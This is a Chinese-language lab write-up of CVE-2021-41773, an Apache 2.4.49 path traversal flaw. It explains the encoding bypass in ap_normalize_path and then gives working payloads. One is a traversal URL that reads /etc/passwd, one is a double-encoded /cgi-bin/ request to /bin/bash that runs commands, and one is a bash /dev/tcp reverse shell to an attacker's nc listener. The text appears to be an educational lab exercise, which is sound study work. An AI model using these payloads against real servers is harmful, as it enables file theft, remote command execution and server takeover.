漏洞原理
Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在../的路径穿越符
当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在../。如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测实现目录遍历
漏洞复现
[root@localhost CVE-2021-41773]# docker-compose up -d # 进入相应靶场目录,启动容器
[root@localhost CVE-2021-41773]# docker ps -a # 查看所有容器
浏览器中查看环境是否搭建成功
构造文件读取payload
需要配合穿越的目录配置 Require all granted,攻击者可利用该漏洞实现路径穿越从而读取任意文件
/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
构造命令执行payload
#在配置了CGI的httpd程序中执行bash指令,从而有机会控制服务器。
抓取get请求包;之后通过右键将get请求改为Post方法;之后发送到repeater模块
将下列构造的payload粘贴到请求行中
/cgi-bin/%2%65%2%65/%2%65%2%65/%2%65%2%65/%2%65%2%65/bin/bash
# 使其进入到可以执行命令的shell环境中
之后在请求体中写入内容
echo;ls # echo是为了让其打印出来,后面的是分号紧跟就是系统命令
反弹Shell
# /dev/tcp是bash特有的虚拟目录,有时需要通过 bash -C指定bash环境因为Ubuntu和其他Linux发行版的shell环境不同
# payload靶机中的标准输出重定向到10.10.10.128的9999端口并且将错误输出重定向到标准输出;bash -i 表示启动交互式shell
bash -c 'bash -i >& /dev/tcp/监听机ip(攻击机)/9999 0>&1'
# 监听机我以kali(10.10.10.128)为例
┌──(root㉿kali)-[~]
└─# nc -lvp 9999